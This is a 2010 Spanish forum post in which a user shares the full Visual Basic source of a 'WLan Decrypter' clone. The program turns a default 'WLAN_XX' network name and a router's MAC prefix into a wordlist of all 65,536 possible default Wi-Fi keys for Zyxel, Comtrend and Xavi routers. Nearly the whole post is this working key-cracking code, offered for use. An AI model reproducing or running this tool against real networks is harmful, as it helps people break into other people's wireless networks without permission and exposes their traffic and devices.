Seguridad Wireless - Wifi

Sistemas operativos => Otros sistemas y plataformas => Mensaje iniciado por: Jayelle®© en 11-05-2010, 14:57 (Martes)

Título: He creado una version de Wlan Decrypter en Visual Basic
Publicado por: Jayelle®© en 11-05-2010, 14:57 (Martes)
Hola a todos!
Este es mi primer post XD
Bueno como bien he dicho he creado una version de WLan Decrypter para windows escrita en VB.
Aquí os dejo el código fuente:

Código: [Seleccionar]
Option Explicit
'Globales
Dim Inicio As String
Dim ApClave As String
Dim Fin As String

Private Sub Form_Load()
'Colocar caret al final de wlan
TxtEssid.SelStart = Len(TxtEssid.Text)
'Tipos de Bssid's
CmbBssid.AddItem "00:13:49:XX:XX:XX"
CmbBssid.AddItem "00:30:DA:XX:XX:XX"
CmbBssid.AddItem "00:01:38:XX:XX:XX"
CmbBssid.ListIndex = 0
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblGenerar.ForeColor = &HC000&
End Sub

Private Sub TxtEssid_Change()
TxtEssid = UCase(TxtEssid.Text)
TxtEssid.SelStart = Len(TxtEssid.Text)
End Sub

Private Sub LblGenerar_Click()
If Len(TxtEssid.Text) <> 7 Or Mid(TxtEssid.Text, 1, 5) <> "WLAN_" Then
MsgBox "El formato de la ESSID debe ser WLAN_XX", vbCritical
TxtEssid.Text = "WLAN_"
Exit Sub
End If
DetectarRouter
AproximarClave
GenerarDiccionario
End Sub

Private Sub LblGenerar_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblGenerar.ForeColor = vbRed
End Sub

Public Sub DetectarRouter()
Dim Fin As String
Dim Router As String
'Tipo de router
Select Case CmbBssid.List(CmbBssid.ListIndex)
Case "00:13:49:XX:XX:XX"
   Router = "Zyxel"
   Inicio = "Z"
Case "00:30:DA:XX:XX:XX"
   Router = "Comtrend"
   Inicio = "C"
Case "00:01:38:XX:XX:XX"
   Router = "Xavi"
   Inicio = "X"
End Select
LblRouter.Caption = "El router es un " & Router
End Sub

Public Sub AproximarClave()
Dim Contador As Integer
Dim Digito As String
Dim Clave As String
Fin = Mid(TxtEssid.Text, Len(TxtEssid.Text) - 1, 2)
  For Contador = 1 To 8
  Digito = Mid(CmbBssid.List(CmbBssid.ListIndex), Contador, 1)
      If Digito <> ":" Then
      Clave = Clave & Digito
      End If
  Next Contador
   'Guardamos el final de la clave y el tronco en las globales
  ApClave = Clave
  Clave = Inicio & Clave & "XXXX" & Fin
   'Construimos la clave
   LblClave.Caption = "La clave es del tipo " & Clave
   Clave = ""
   Digito = ""
End Sub

Private Sub TxtEssid_KeyPress(KeyAscii As Integer)
If InStr("0123456789abcdef" & Chr(8), Chr(KeyAscii)) = 0 Then
KeyAscii = 0
Beep
End If
End Sub

Public Sub GenerarDiccionario()
Dim Tronco As String
Dim Libre As Integer
Libre = FreeFile
Open App.Path & "\" & TxtEssid.Text & ".txt" For Append As #Libre
Dim Numero As Double
'Numero con formato de 4 cifras en hexadecimal
For Numero = 0 To 65535
    Tronco = Trim(CStr(Hex(Numero)))
    Select Case Len(Tronco)
       Case Is = 1
       Tronco = "000" & Tronco
       Case Is = 2
       Tronco = "00" & Tronco
       Case Is = 3
       Tronco = "0" & Tronco
    End Select
Print #Libre, Inicio & ApClave & Tronco & Fin
DoEvents
Tronco = ""
Next Numero
DoEvents
Close #Libre
MsgBox "Creado el diccionario " & TxtEssid.Text & " (" & Numero & " posibles claves)", vbInformation, "Wlan Decrypter"
Shell "explorer.exe " & App.Path & "\" & TxtEssid.Text & ".txt", vbNormalFocus
End Sub


y un pantallazo:

(http://img696.imageshack.us/img696/1292/wlan.jpg) (http://img696.imageshack.us/i/wlan.jpg/)